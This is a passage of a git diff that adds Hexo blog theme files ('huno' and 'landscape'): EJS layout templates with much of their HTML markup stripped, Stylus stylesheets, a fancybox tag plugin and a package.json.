$('.navigation-wrapper .blog-button').click(function() { + // $('.navigation-wrapper').toggleClass('visible'); + $('.btn-mobile-menu__icon').toggleClass('icon-list icon-x-circle animated fadeIn'); + }); + +}); diff --git a/themes/huno/source/js/scale.fix.js b/themes/huno/source/js/scale.fix.js new file mode 100644 index 0000000..87a40ca --- /dev/null +++ b/themes/huno/source/js/scale.fix.js @@ -0,0 +1,17 @@ +var metas = document.getElementsByTagName('meta'); +var i; +if (navigator.userAgent.match(/iPhone/i)) { + for (i=0; i + +<% } %> + + + +<% if (theme.fancybox){ %> + <%- css('fancybox/jquery.fancybox') %> + <%- js('fancybox/jquery.fancybox.pack') %> +<% } %> + +<%- js('js/script') %> +<%- partial('gauges-analytics') %> diff --git a/themes/landscape/layout/_partial/archive-post.ejs b/themes/landscape/layout/_partial/archive-post.ejs new file mode 100644 index 0000000..36f2cc3 --- /dev/null +++ b/themes/landscape/layout/_partial/archive-post.ejs @@ -0,0 +1,8 @@ +
    +
    +
    + <%- partial('post/date', {class_name: 'archive-article-date', date_format: 'MMM D'}) %> + <%- partial('post/title', {class_name: 'archive-article-title'}) %> +
    +
    +
    \ No newline at end of file diff --git a/themes/landscape/layout/_partial/archive.ejs b/themes/landscape/layout/_partial/archive.ejs new file mode 100644 index 0000000..9da934a --- /dev/null +++ b/themes/landscape/layout/_partial/archive.ejs @@ -0,0 +1,34 @@ +<% if (pagination == 2){ %> + <% page.posts.each(function(post){ %> + <%- partial('article', {post: post, index: true}) %> + <% }) %> +<% } else { %> + <% var last; %> + <% page.posts.each(function(post, i){ %> + <% var year = post.date.year(); %> + <% if (last != year){ %> + <% if (last != null){ %> +
    + <% } %> + <% last = year; %> +
    + +
    + <% } %> + <%- partial('archive-post', {post: post, even: i % 2 == 0}) %> + <% }) %> + <% if (page.posts.length){ %> +
    + <% } %> +<% } %> +<% if (page.total > 1){ %> + +<% } %> diff --git a/themes/landscape/layout/_partial/article.ejs b/themes/landscape/layout/_partial/article.ejs new file mode 100644 index 0000000..0f951a9 --- /dev/null +++ b/themes/landscape/layout/_partial/article.ejs @@ -0,0 +1,44 @@ +
    + +
    + <%- partial('post/gallery') %> + <% if (post.link || post.title){ %> +
    + <%- partial('post/title', {class_name: 'article-title'}) %> +
    + <% } %> +
    + <% if (post.excerpt && index){ %> + <%- post.excerpt %> + <% if (theme.excerpt_link){ %> +

    + <%= theme.excerpt_link %> +

    + <% } %> + <% } else { %> + <%- post.content %> + <% } %> +
    + +
    + <% if (!index){ %> + <%- partial('post/nav') %> + <% } %> +
    + +<% if (!index && post.comments && config.disqus_shortname){ %> +
    +
    + +
    +
    +<% } %> \ No newline at end of file diff --git a/themes/landscape/layout/_partial/footer.ejs b/themes/landscape/layout/_partial/footer.ejs new file mode 100644 index 0000000..3aca618 --- /dev/null +++ b/themes/landscape/layout/_partial/footer.ejs @@ -0,0 +1,11 @@ +
    + <% if (theme.sidebar === 'bottom'){ %> + <%- partial('_partial/sidebar') %> + <% } %> +
    + +
    +
    \ No newline at end of file diff --git a/themes/landscape/layout/_partial/gauges-analytics.ejs b/themes/landscape/layout/_partial/gauges-analytics.ejs new file mode 100644 index 0000000..d64be38 --- /dev/null +++ b/themes/landscape/layout/_partial/gauges-analytics.ejs @@ -0,0 +1,18 @@ +<% if (theme.gauges_analytics){ %> + + + +<% } %> diff --git a/themes/landscape/layout/_partial/google-analytics.ejs b/themes/landscape/layout/_partial/google-analytics.ejs new file mode 100644 index 0000000..84e75f0 --- /dev/null +++ b/themes/landscape/layout/_partial/google-analytics.ejs @@ -0,0 +1,14 @@ +<% if (theme.google_analytics){ %> + + + +<% } %> diff --git a/themes/landscape/layout/_partial/head.ejs b/themes/landscape/layout/_partial/head.ejs new file mode 100644 index 0000000..43d5f93 --- /dev/null +++ b/themes/landscape/layout/_partial/head.ejs @@ -0,0 +1,36 @@ + + + + + <%- partial('google-analytics') %> + <% + var title = page.title; + + if (is_archive()){ + title = __('archive_a'); + + if (is_month()){ + title += ': ' + page.year + '/' + page.month; + } else if (is_year()){ + title += ': ' + page.year; + } + } else if (is_category()){ + title = __('category') + ': ' + page.category; + } else if (is_tag()){ + title = __('tag') + ': ' + page.tag; + } + %> + <% if (title){ %><%= title %> | <% } %><%= config.title %> + + <%- open_graph({twitter_id: theme.twitter, google_plus: theme.google_plus, fb_admins: theme.fb_admins, fb_app_id: theme.fb_app_id}) %> + <% if (theme.rss){ %> + + <% } %> + <% if (theme.favicon){ %> + + <% } %> + <% if (config.highlight.enable){ %> + + <% } %> + <%- css('css/style') %> + diff --git a/themes/landscape/layout/_partial/header.ejs b/themes/landscape/layout/_partial/header.ejs new file mode 100644 index 0000000..e8a305e --- /dev/null +++ b/themes/landscape/layout/_partial/header.ejs @@ -0,0 +1,32 @@ + \ No newline at end of file diff --git a/themes/landscape/layout/_partial/mobile-nav.ejs b/themes/landscape/layout/_partial/mobile-nav.ejs new file mode 100644 index 0000000..7c1d2af --- /dev/null +++ b/themes/landscape/layout/_partial/mobile-nav.ejs @@ -0,0 +1,5 @@ + \ No newline at end of file diff --git a/themes/landscape/layout/_partial/post/category.ejs b/themes/landscape/layout/_partial/post/category.ejs new file mode 100644 index 0000000..db2ed48 --- /dev/null +++ b/themes/landscape/layout/_partial/post/category.ejs @@ -0,0 +1,10 @@ +<% if (post.categories && post.categories.length){ %> + +<% } %> \ No newline at end of file diff --git a/themes/landscape/layout/_partial/post/date.ejs b/themes/landscape/layout/_partial/post/date.ejs new file mode 100644 index 0000000..3f49613 --- /dev/null +++ b/themes/landscape/layout/_partial/post/date.ejs @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/themes/landscape/layout/_partial/post/gallery.ejs b/themes/landscape/layout/_partial/post/gallery.ejs new file mode 100644 index 0000000..886c8ec --- /dev/null +++ b/themes/landscape/layout/_partial/post/gallery.ejs @@ -0,0 +1,11 @@ +<% if (post.photos && post.photos.length){ %> +
    +
    + <% post.photos.forEach(function(photo, i){ %> + + + + <% }) %> +
    +
    +<% } %> \ No newline at end of file diff --git a/themes/landscape/layout/_partial/post/nav.ejs b/themes/landscape/layout/_partial/post/nav.ejs new file mode 100644 index 0000000..720798a --- /dev/null +++ b/themes/landscape/layout/_partial/post/nav.ejs @@ -0,0 +1,22 @@ +<% if (post.prev || post.next){ %> + +<% } %> \ No newline at end of file diff --git a/themes/landscape/layout/_partial/post/tag.ejs b/themes/landscape/layout/_partial/post/tag.ejs new file mode 100644 index 0000000..e0f327f --- /dev/null +++ b/themes/landscape/layout/_partial/post/tag.ejs @@ -0,0 +1,6 @@ +<% if (post.tags && post.tags.length){ %> + <%- list_tags(post.tags, { + show_count: false, + class: 'article-tag' + }) %> +<% } %> \ No newline at end of file diff --git a/themes/landscape/layout/_partial/post/title.ejs b/themes/landscape/layout/_partial/post/title.ejs new file mode 100644 index 0000000..69d646f --- /dev/null +++ b/themes/landscape/layout/_partial/post/title.ejs @@ -0,0 +1,15 @@ +<% if (post.link){ %> +

    + +

    +<% } else if (post.title){ %> + <% if (index){ %> +

    + <%= post.title %> +

    + <% } else { %> +

    + <%= post.title %> +

    + <% } %> +<% } %> \ No newline at end of file diff --git a/themes/landscape/layout/_partial/sidebar.ejs b/themes/landscape/layout/_partial/sidebar.ejs new file mode 100644 index 0000000..c1e48e5 --- /dev/null +++ b/themes/landscape/layout/_partial/sidebar.ejs @@ -0,0 +1,5 @@ + \ No newline at end of file diff --git a/themes/landscape/layout/_widget/archive.ejs b/themes/landscape/layout/_widget/archive.ejs new file mode 100644 index 0000000..a20c58c --- /dev/null +++ b/themes/landscape/layout/_widget/archive.ejs @@ -0,0 +1,8 @@ +<% if (site.posts.length){ %> +
    +

    <%= __('archive_a') %>

    +
    + <%- list_archives({show_count: theme.show_count, type: theme.archive_type}) %> +
    +
    +<% } %> diff --git a/themes/landscape/layout/_widget/category.ejs b/themes/landscape/layout/_widget/category.ejs new file mode 100644 index 0000000..8d9e5e9 --- /dev/null +++ b/themes/landscape/layout/_widget/category.ejs @@ -0,0 +1,8 @@ +<% if (site.categories.length){ %> +
    +

    <%= __('categories') %>

    +
    + <%- list_categories({show_count: theme.show_count}) %> +
    +
    +<% } %> diff --git a/themes/landscape/layout/_widget/recent_posts.ejs b/themes/landscape/layout/_widget/recent_posts.ejs new file mode 100644 index 0000000..7a38547 --- /dev/null +++ b/themes/landscape/layout/_widget/recent_posts.ejs @@ -0,0 +1,14 @@ +<% if (site.posts.length){ %> +
    +

    <%= __('recent_posts') %>

    +
    + +
    +
    +<% } %> \ No newline at end of file diff --git a/themes/landscape/layout/_widget/tag.ejs b/themes/landscape/layout/_widget/tag.ejs new file mode 100644 index 0000000..ea5fb2c --- /dev/null +++ b/themes/landscape/layout/_widget/tag.ejs @@ -0,0 +1,8 @@ +<% if (site.tags.length){ %> +
    +

    <%= __('tags') %>

    +
    + <%- list_tags({show_count: theme.show_count}) %> +
    +
    +<% } %> diff --git a/themes/landscape/layout/_widget/tagcloud.ejs b/themes/landscape/layout/_widget/tagcloud.ejs new file mode 100644 index 0000000..5feb435 --- /dev/null +++ b/themes/landscape/layout/_widget/tagcloud.ejs @@ -0,0 +1,8 @@ +<% if (site.tags.length){ %> +
    +

    <%= __('tagcloud') %>

    +
    + <%- tagcloud() %> +
    +
    +<% } %> \ No newline at end of file diff --git a/themes/landscape/layout/archive.ejs b/themes/landscape/layout/archive.ejs new file mode 100644 index 0000000..52f9b21 --- /dev/null +++ b/themes/landscape/layout/archive.ejs @@ -0,0 +1 @@ +<%- partial('_partial/archive', {pagination: config.archive, index: true}) %> \ No newline at end of file diff --git a/themes/landscape/layout/category.ejs b/themes/landscape/layout/category.ejs new file mode 100644 index 0000000..3ffe252 --- /dev/null +++ b/themes/landscape/layout/category.ejs @@ -0,0 +1 @@ +<%- partial('_partial/archive', {pagination: config.category, index: true}) %> \ No newline at end of file diff --git a/themes/landscape/layout/index.ejs b/themes/landscape/layout/index.ejs new file mode 100644 index 0000000..60a2c68 --- /dev/null +++ b/themes/landscape/layout/index.ejs @@ -0,0 +1 @@ +<%- partial('_partial/archive', {pagination: 2, index: true}) %> \ No newline at end of file diff --git a/themes/landscape/layout/layout.ejs b/themes/landscape/layout/layout.ejs new file mode 100644 index 0000000..cf88daf --- /dev/null +++ b/themes/landscape/layout/layout.ejs @@ -0,0 +1,18 @@ +<%- partial('_partial/head') %> + +
    +
    + <%- partial('_partial/header', null, {cache: !config.relative_link}) %> +
    +
    <%- body %>
    + <% if (theme.sidebar && theme.sidebar !== 'bottom'){ %> + <%- partial('_partial/sidebar', null, {cache: !config.relative_link}) %> + <% } %> +
    + <%- partial('_partial/footer', null, {cache: !config.relative_link}) %> +
    + <%- partial('_partial/mobile-nav', null, {cache: !config.relative_link}) %> + <%- partial('_partial/after-footer') %> +
    + + \ No newline at end of file diff --git a/themes/landscape/layout/page.ejs b/themes/landscape/layout/page.ejs new file mode 100644 index 0000000..bea6318 --- /dev/null +++ b/themes/landscape/layout/page.ejs @@ -0,0 +1 @@ +<%- partial('_partial/article', {post: page, index: false}) %> \ No newline at end of file diff --git a/themes/landscape/layout/post.ejs b/themes/landscape/layout/post.ejs new file mode 100644 index 0000000..bea6318 --- /dev/null +++ b/themes/landscape/layout/post.ejs @@ -0,0 +1 @@ +<%- partial('_partial/article', {post: page, index: false}) %> \ No newline at end of file diff --git a/themes/landscape/layout/tag.ejs b/themes/landscape/layout/tag.ejs new file mode 100644 index 0000000..048cdb0 --- /dev/null +++ b/themes/landscape/layout/tag.ejs @@ -0,0 +1 @@ +<%- partial('_partial/archive', {pagination: config.tag, index: true}) %> \ No newline at end of file diff --git a/themes/landscape/package.json b/themes/landscape/package.json new file mode 100644 index 0000000..ac0df3d --- /dev/null +++ b/themes/landscape/package.json @@ -0,0 +1,12 @@ +{ + "name": "hexo-theme-landscape", + "version": "0.0.2", + "private": true, + "devDependencies": { + "grunt": "~0.4.2", + "load-grunt-tasks": "~0.2.0", + "grunt-git": "~0.2.2", + "grunt-contrib-clean": "~0.5.0", + "grunt-contrib-copy": "~0.4.1" + } +} diff --git a/themes/landscape/scripts/fancybox.js b/themes/landscape/scripts/fancybox.js new file mode 100644 index 0000000..83f1fdc --- /dev/null +++ b/themes/landscape/scripts/fancybox.js @@ -0,0 +1,24 @@ +var rUrl = /((([A-Za-z]{3,9}:(?:\/\/)?)(?:[-;:&=\+\$,\w]+@)?[A-Za-z0-9.-]+|(?:www.|[-;:&=\+\$,\w]+@)[A-Za-z0-9.-]+)((?:\/[\+~%\/.\w-_]*)?\??(?:[-\+=&;%@.\w_]*)#?(?:[.\!\/\\w]*))?)/; + +/** +* Fancybox tag +* +* Syntax: +* {% fancybox /path/to/image [/path/to/thumbnail] [title] %} +*/ + +hexo.extend.tag.register('fancybox', function(args){ + var original = args.shift(), + thumbnail = ''; + + if (args.length && rUrl.test(args[0])){ + thumbnail = args.shift(); + } + + var title = args.join(' '); + + return '' + + '' + title + '' + '' + + (title ? '' + title + '' : ''); +}); \ No newline at end of file diff --git a/themes/landscape/source/css/_extend.styl b/themes/landscape/source/css/_extend.styl new file mode 100644 index 0000000..96a1817 --- /dev/null +++ b/themes/landscape/source/css/_extend.styl @@ -0,0 +1,63 @@ +$block-caption + text-decoration: none + text-transform: uppercase + letter-spacing: 2px + color: color-grey + margin-bottom: 1em + margin-left: 5px + line-height: 1em + text-shadow: 0 1px #fff + font-weight: bold + +$block + background: #fff + box-shadow: 1px 2px 3px #ddd + border: 1px solid color-border + border-radius: 3px + +$base-style + h1 + font-size: 2em + h2 + font-size: 1.5em + h3 + font-size: 1.3em + h4 + font-size: 1.2em + h5 + font-size: 1em + h6 + font-size: 1em + color: color-grey + hr + border: 1px dashed color-border + strong + font-weight: bold + em, cite + font-style: italic + sup, sub + font-size: 0.75em + line-height: 0 + position: relative + vertical-align: baseline + sup + top: -0.5em + sub + bottom: -0.2em + small + font-size: 0.85em + acronym, abbr + border-bottom: 1px dotted + ul, ol, dl + margin: 0 20px + line-height: line-height + ul, ol + ul, ol + margin-top: 0 + margin-bottom: 0 + ul + list-style: disc + ol + list-style: decimal + dt + font-weight: bold \ No newline at end of file diff --git a/themes/landscape/source/css/_partial/archive.styl b/themes/landscape/source/css/_partial/archive.styl new file mode 100644 index 0000000..90ef053 --- /dev/null +++ b/themes/landscape/source/css/_partial/archive.styl @@ -0,0 +1,80 @@ +.archives-wrap + margin: block-margin 0 + +.archives + clearfix() + +.archive-year-wrap + margin-bottom: 1em + +.archive-year + @extend $block-caption + +.archives + column-gap: 10px + @media mq-tablet + column-count: 2 + @media mq-normal + column-count: 3 + +.archive-article + avoid-column-break() + +.archive-article-inner + @extend $block + padding: 10px + margin-bottom: 15px + +.archive-article-title + text-decoration: none + font-weight: bold + color: color-default + transition: color 0.2s + line-height: line-height + &:hover + color: color-link + +.archive-article-footer + margin-top: 1em + +.archive-article-date + color: color-grey + text-decoration: none + font-size: 0.85em + line-height: 1em + margin-bottom: 0.5em + display: block + +#page-nav + clearfix() + margin: block-margin auto + background: #fff + box-shadow: 1px 2px 3px #ddd + border: 1px solid color-border + border-radius: 3px + text-align: center + color: color-grey + overflow: hidden + a, span + padding: 10px 20px + line-height: 1 + height: 2ex + a + color: color-grey + text-decoration: none + &:hover + background: color-grey + color: #fff + .prev + float: left + .next + float: right + .page-number + display: inline-block + @media mq-mobile + display: none + .current + color: color-default + font-weight: bold + .space + color: color-border \ No newline at end of file diff --git a/themes/landscape/source/css/_partial/article.styl b/themes/landscape/source/css/_partial/article.styl new file mode 100644 index 0000000..46094f9 --- /dev/null +++ b/themes/landscape/source/css/_partial/article.styl @@ -0,0 +1,357 @@ +.article + margin: block-margin 0 + +.article-inner + @extend $block + overflow: hidden + +.article-meta + clearfix() + +.article-date + @extend $block-caption + float: left + +.article-category + float: left + line-height: 1em + color: #ccc + text-shadow: 0 1px #fff + margin-left: 8px + &:before + content: "\2022" + +.article-category-link + @extend $block-caption + margin: 0 12px 1em + +.article-header + padding: article-padding article-padding 0 + +.article-title + text-decoration: none + font-size: 2em + font-weight: bold + color: color-default + line-height: line-height-title + transition: color 0.2s + a&:hover + color: color-link + +.article-entry + @extend $base-style + clearfix() + color: color-default + padding: 0 article-padding + p, table + line-height: line-height + margin: line-height 0 + h1, h2, h3, h4, h5, h6 + font-weight: bold + h1, h2, h3, h4, h5, h6 + line-height: line-height-title + margin: line-height-title 0 + a + color: color-link + text-decoration: none + &:hover + text-decoration: underline + ul, ol, dl + margin-top: line-height + margin-bottom: line-height + img, video + max-width: 100% + height: auto + display: block + margin: auto + iframe + border: none + table + width: 100% + border-collapse: collapse + border-spacing: 0 + th + font-weight: bold + border-bottom: 3px solid color-border + padding-bottom: 0.5em + td + border-bottom: 1px solid color-border + padding: 10px 0 + blockquote + font-family: font-serif + font-size: 1.4em + margin: line-height 20px + text-align: center + footer + font-size: font-size + margin: line-height 0 + font-family: font-sans + cite + &:before + content: "—" + padding: 0 0.5em + .pullquote + text-align: left + width: 45% + margin: 0 + &.left + margin-left: 0.5em + margin-right: 1em + &.right + margin-right: 0.5em + margin-left: 1em + .caption + color: color-grey + display: block + font-size: 0.9em + margin-top: 0.5em + position: relative + text-align: center + // http://webdesignerwall.com/tutorials/css-elastic-videos + .video-container + position: relative + padding-top: (9 / 16 * 100)% // 16:9 ratio + height: 0 + overflow: hidden + iframe, object, embed + position: absolute + top: 0 + left: 0 + width: 100% + height: 100% + margin-top: 0 + +.article-more-link a + display: inline-block + line-height: 1em + padding: 6px 15px + border-radius: 15px + background: color-background + color: color-grey + text-shadow: 0 1px #fff + text-decoration: none + &:hover + background: color-link + color: #fff + text-decoration: none + text-shadow: 0 1px darken(color-link, 20%) + +.article-footer + clearfix() + font-size: 0.85em + line-height: line-height + border-top: 1px solid color-border + padding-top: line-height + margin: 0 article-padding article-padding + a + color: color-grey + text-decoration: none + &:hover + color: color-default + +.article-tag-list-item + float: left + margin-right: 10px + +.article-tag-list-link + &:before + content: "#" + +.article-comment-link + float: right + &:before + content: "\f075" + font-family: font-icon + padding-right: 8px + +.article-share-link + cursor: pointer + float: right + margin-left: 20px + &:before + content: "\f064" + font-family: font-icon + padding-right: 6px + +#article-nav + clearfix() + position: relative + @media mq-normal + margin: block-margin 0 + &:before + absolute-center(8px) + content: "" + border-radius: 50% + background: color-border + box-shadow: 0 1px 2px #fff + +.article-nav-link-wrap + text-decoration: none + text-shadow: 0 1px #fff + color: color-grey + box-sizing: border-box + margin-top: block-margin + text-align: center + display: block + &:hover + color: color-default + @media mq-normal + width: 50% + margin-top: 0 + +#article-nav-newer + @media mq-normal + float: left + text-align: right + padding-right: 20px + +#article-nav-older + @media mq-normal + float: right + text-align: left + padding-left: 20px + +.article-nav-caption + text-transform: uppercase + letter-spacing: 2px + color: color-border + line-height: 1em + font-weight: bold + #article-nav-newer & + margin-right: -2px + +.article-nav-title + font-size: 0.85em + line-height: line-height + margin-top: 0.5em + +.article-share-box + position: absolute + display: none + background: #fff + box-shadow: 1px 2px 10px rgba(0, 0, 0, 0.2) + border-radius: 3px + margin-left: -145px + overflow: hidden + z-index: 1 + &.on + display: block + +.article-share-input + width: 100% + background: none + box-sizing: border-box + font: 14px font-sans + padding: 0 15px + color: color-default + outline: none + border: 1px solid color-border + border-radius: 3px 3px 0 0 + height: 36px + line-height: 36px + +.article-share-links + clearfix() + background: color-background + +$article-share-link + width: 50px + height: 36px + display: block + float: left + position: relative + color: #999 + text-shadow: 0 1px #fff + &:before + font-size: 20px + font-family: font-icon + absolute-center(@font-size) + text-align: center + &:hover + color: #fff + +.article-share-twitter + @extend $article-share-link + &:before + content: "\f099" + &:hover + background: color-twitter + text-shadow: 0 1px darken(color-twitter, 20%) + +.article-share-facebook + @extend $article-share-link + &:before + content: "\f09a" + &:hover + background: color-facebook + text-shadow: 0 1px darken(color-facebook, 20%) + +.article-share-pinterest + @extend $article-share-link + &:before + content: "\f0d2" + &:hover + background: color-pinterest + text-shadow: 0 1px darken(color-pinterest, 20%) + +.article-share-google + @extend $article-share-link + &:before + content: "\f0d5" + &:hover + background: color-google + text-shadow: 0 1px darken(color-google, 20%) + +.article-gallery + background: #000 + position: relative + +.article-gallery-photos + position: relative + overflow: hidden + +.article-gallery-img + display: none + max-width: 100% + &:first-child + display: block + &.loaded + position: absolute + display: block + img + display: block + max-width: 100% + margin: 0 auto +/* +$article-gallery-ctrl + position: absolute + top: 0 + height: 100% + width: 60px + color: #fff + text-shadow: 0 0 3px rgba(0, 0, 0, 0.3) + opacity: 0.3 + transition: opacity 0.2s + cursor: pointer + &:hover + opacity: 0.8 + &:before + font-size: 30px + font-family: font-icon + position: absolute + top: 50% + margin-top: @font-size * -0.5 + +.article-gallery-prev + @extend $article-gallery-ctrl + left: 0 + &:before + content: "\f053" + left: 15px + +.article-gallery-next + @extend $article-gallery-ctrl + right: 0 + &:before + content: "\f054" + right: 15px*/ \ No newline at end of file diff --git a/themes/landscape/source/css/_partial/comment.styl b/themes/landscape/source/css/_partial/comment.styl new file mode 100644 index 0000000..296b7dd --- /dev/null +++ b/themes/landscape/source/css/_partial/comment.styl @@ -0,0 +1,9 @@ +#comments + background: #fff + box-shadow: 1px 2px 3px #ddd + padding: article-padding + border: 1px solid color-border + border-radius: 3px + margin: block-margin 0 + a + color: color-link \ No newline at end of file diff --git a/themes/landscape/source/css/_partial/footer.styl b/themes/landscape/source/css/_partial/footer.styl new file mode 100644 index 0000000..fe2fd24 --- /dev/null +++ b/themes/landscape/source/css/_partial/footer.styl @@ -0,0 +1,14 @@ +#footer + background: color-footer-background + padding: 50px 0 + border-top: 1px solid color-border + color: color-grey + a + color: color-link + text-decoration: none + &:hover + text-decoration: underline + +#footer-info + line-height: line-height + font-size: 0.85em \ No newline at end of file diff --git a/themes/landscape/source/css/_partial/header.styl b/themes/landscape/source/css/_partial/header.styl new file mode 100644 index 0000000..d18ebc8 --- /dev/null +++ b/themes/landscape/source/css/_partial/header.styl @@ -0,0 +1,165 @@ +#header + height: banner-height + position: relative + border-bottom: 1px solid color-border + &:before, &:after + content: "" + position: absolute + left: 0 + right: 0 + height: 40px + &:before + top: 0 + background: linear-gradient(rgba(0, 0, 0, 0.2), transparent) + &:after + bottom: 0 + background: linear-gradient(transparent, rgba(0, 0, 0, 0.2)) + +#header-outer + height: 100% + position: relative + +#header-inner + position: relative + overflow: hidden + +#banner + position: absolute + top: 0 + left: 0 + width: 100% + height: 100% + background: url(banner-url) center #000 + background-size: cover + z-index: -1 + +#header-title + text-align: center + height: logo-size + position: absolute + top: 50% + left: 0 + margin-top: logo-size * -0.5 + +$logo-text + text-decoration: none + color: #fff + font-weight: 300 + text-shadow: 0 1px 4px rgba(0, 0, 0, 0.3) + +#logo + @extend $logo-text + font-size: logo-size + line-height: logo-size + letter-spacing: 2px + +#subtitle + @extend $logo-text + font-size: subtitle-size + line-height: subtitle-size + letter-spacing: 1px + +#subtitle-wrap + margin-top: subtitle-size + +#main-nav + float: left + margin-left: -15px + +$nav-link + float: left + color: #fff + opacity: 0.6 + text-decoration: none + text-shadow: 0 1px rgba(0, 0, 0, 0.2) + transition: opacity 0.2s + display: block + padding: 20px 15px + &:hover + opacity: 1 + +.nav-icon + @extend $nav-link + font-family: font-icon + text-align: center + font-size: font-size + width: font-size + height: font-size + padding: 20px 15px + position: relative + cursor: pointer + +.main-nav-link + @extend $nav-link + font-weight: 300 + letter-spacing: 1px + @media mq-mobile + display: none + +#main-nav-toggle + display: none + &:before + content: "\f0c9" + @media mq-mobile + display: block + +#sub-nav + float: right + margin-right: -15px + +#nav-rss-link + &:before + content: "\f09e" + +#nav-search-btn + &:before + content: "\f002" + +#search-form-wrap + position: absolute + top: 15px + width: 150px + height: 30px + right: -150px + opacity: 0 + transition: 0.2s ease-out + &.on + opacity: 1 + right: 0 + @media mq-mobile + width: 100% + right: -100% + +.search-form + position: absolute + top: 0 + left: 0 + right: 0 + background: #fff + padding: 5px 15px + border-radius: 15px + box-shadow: 0 0 10px rgba(0, 0, 0, 0.3) + +.search-form-input + border: none + background: none + color: color-default + width: 100% + font: 13px font-sans + outline: none + &::-webkit-search-results-decoration + &::-webkit-search-cancel-button + -webkit-appearance: none + +.search-form-submit + position: absolute + top: 50% + right: 10px + margin-top: -7px + font: 13px font-icon + border: none + background: none + color: #bbb + cursor: pointer + &:hover, &:focus + color: #777 \ No newline at end of file diff --git a/themes/landscape/source/css/_partial/highlight.styl b/themes/landscape/source/css/_partial/highlight.styl new file mode 100644 index 0000000..c932ec3 --- /dev/null +++ b/themes/landscape/source/css/_partial/highlight.styl @@ -0,0 +1,158 @@ +// https://github.com/chriskempson/tomorrow-theme +highlight-background = #2d2d2d +highlight-current-line = #393939 +highlight-selection = #515151 +highlight-foreground = #cccccc +highlight-comment = #999999 +highlight-red = #f2777a +highlight-orange = #f99157 +highlight-yellow = #ffcc66 +highlight-green = #99cc99 +highlight-aqua = #66cccc +highlight-blue = #6699cc +highlight-purple = #cc99cc + +$code-block + background: highlight-background + margin: 0 article-padding * -1 + padding: 15px article-padding + border-style: solid + border-color: color-border + border-width: 1px 0 + overflow: auto + color: highlight-foreground + line-height: font-size * line-height + +$line-numbers + color: #666 + font-size: 0.85em + +.article-entry + pre, code + font-family: font-mono + code + background: color-background + text-shadow: 0 1px #fff + padding: 0 0.3em + pre + @extend $code-block + code + background: none + text-shadow: none + padding: 0 + .highlight + @extend $code-block + pre + border: none + margin: 0 + padding: 0 + table + margin: 0 + width: auto + td + border: none + padding: 0 + figcaption + clearfix() + font-size: 0.85em + color: highlight-comment + line-height: 1em + margin-bottom: 1em + a + float: right + .gutter pre + @extend $line-numbers + text-align: right + padding-right: 20px + .line + height: font-size * line-height + .line.marked + background: highlight-selection + .gist + margin: 0 article-padding * -1 + border-style: solid + border-color: color-border + border-width: 1px 0 + background: highlight-background + padding: 15px article-padding 15px 0 + .gist-file + border: none + font-family: font-mono + margin: 0 + .gist-data + background: none + border: none + .line-numbers + @extend $line-numbers + background: none + border: none + padding: 0 20px 0 0 + .line-data + padding: 0 !important + .highlight + margin: 0 + padding: 0 + border: none + .gist-meta + background: highlight-background + color: highlight-comment + font: 0.85em font-sans + text-shadow: 0 0 + padding: 0 + margin-top: 1em + margin-left: article-padding + a + color: color-link + font-weight: normal + &:hover + text-decoration: underline + +pre + .comment + .title + color: highlight-comment + .variable + .attribute + .tag + .regexp + .ruby .constant + .xml .tag .title + .xml .pi + .xml .doctype + .html .doctype + .css .id + .css .class + .css .pseudo + color: highlight-red + .number + .preprocessor + .built_in + .literal + .params + .constant + color: highlight-orange + .class + .ruby .class .title + .css .rules .attribute + color: highlight-green + .string + .value + .inheritance + .header + .ruby .symbol + .xml .cdata + color: highlight-green + .css .hexcolor + color: highlight-aqua + .function + .python .decorator + .python .title + .ruby .function .title + .ruby .title .keyword + .perl .sub + .javascript .title + .coffeescript .title + color: highlight-blue + .keyword + .javascript .function + color: highlight-purple diff --git a/themes/landscape/source/css/_partial/mobile.styl b/themes/landscape/source/css/_partial/mobile.styl new file mode 100644 index 0000000..eb68b3a --- /dev/null +++ b/themes/landscape/source/css/_partial/mobile.styl @@ -0,0 +1,19 @@ +@media mq-mobile + #mobile-nav + position: absolute + top: 0 + left: 0 + width: mobile-nav-width + height: 100% + background: color-mobile-nav-background + border-right: 1px solid #fff + +@media mq-mobile + .mobile-nav-link + display: block + color: color-grey + text-decoration: none + padding: 15px 20px + font-weight: bold + &:hover + color: #fff diff --git a/themes/landscape/source/css/_partial/sidebar-aside.styl b/themes/landscape/source/css/_partial/sidebar-aside.styl new file mode 100644 index 0000000..838b167 --- /dev/null +++ b/themes/landscape/source/css/_partial/sidebar-aside.styl @@ -0,0 +1,27 @@ +#sidebar + @media mq-normal + column(sidebar-column) + +.widget-wrap + margin: block-margin 0 + +.widget-title + @extend $block-caption + +.widget + color: color-sidebar-text + text-shadow: 0 1px #fff + background: color-widget-background + box-shadow: 0 -1px 4px color-widget-border inset + border: 1px solid color-widget-border + padding: 15px + border-radius: 3px + a + color: color-link + text-decoration: none + &:hover + text-decoration: underline + ul, ol, dl + ul, ol, dl + margin-left: 15px + list-style: disc \ No newline at end of file diff --git a/themes/landscape/source/css/_partial/sidebar-bottom.styl b/themes/landscape/source/css/_partial/sidebar-bottom.styl new file mode 100644 index 0000000..e2403fd --- /dev/null +++ b/themes/landscape/source/css/_partial/sidebar-bottom.styl @@ -0,0 +1,27 @@ +.widget-wrap + margin-bottom: block-margin !important + @media mq-normal + column(main-column) + +.widget-title + color: #ccc + text-transform: uppercase + letter-spacing: 2px + margin-bottom: .5em + line-height: 1em + font-weight: bold + +.widget + color: color-grey + ul, ol + li + display: inline-block + zoom:1 + *display:inline + padding-right: .75em +/* Having problems getting balanced white space between items + li:before + content: " | " + li:first-child:before + content: none + */ diff --git a/themes/landscape/source/css/_partial/sidebar.styl b/themes/landscape/source/css/_partial/sidebar.styl new file mode 100644 index 0000000..e43d66a --- /dev/null +++ b/themes/landscape/source/css/_partial/sidebar.styl @@ -0,0 +1,35 @@ +if sidebar is bottom + @import "sidebar-bottom" +else + @import "sidebar-aside" + +.widget + @extend $base-style + line-height: line-height + word-wrap: break-word + font-size: 0.9em + ul, ol + list-style: none + margin: 0 + ul, ol + margin: 0 20px + ul + list-style: disc + ol + list-style: decimal + +.category-list-count +.tag-list-count +.archive-list-count + padding-left: 5px + color: color-grey + font-size: 0.85em + &:before + content: "(" + &:after + content: ")" + +.tagcloud + a + margin-right: 5px + display: inline-block diff --git a/themes/landscape/source/css/_util/grid.styl b/themes/landscape/source/css/_util/grid.styl new file mode 100644 index 0000000..2a14dd2 --- /dev/null +++ b/themes/landscape/source/css/_util/grid.styl @@ -0,0 +1,38 @@ +///////////////// +// Semantic.gs // for 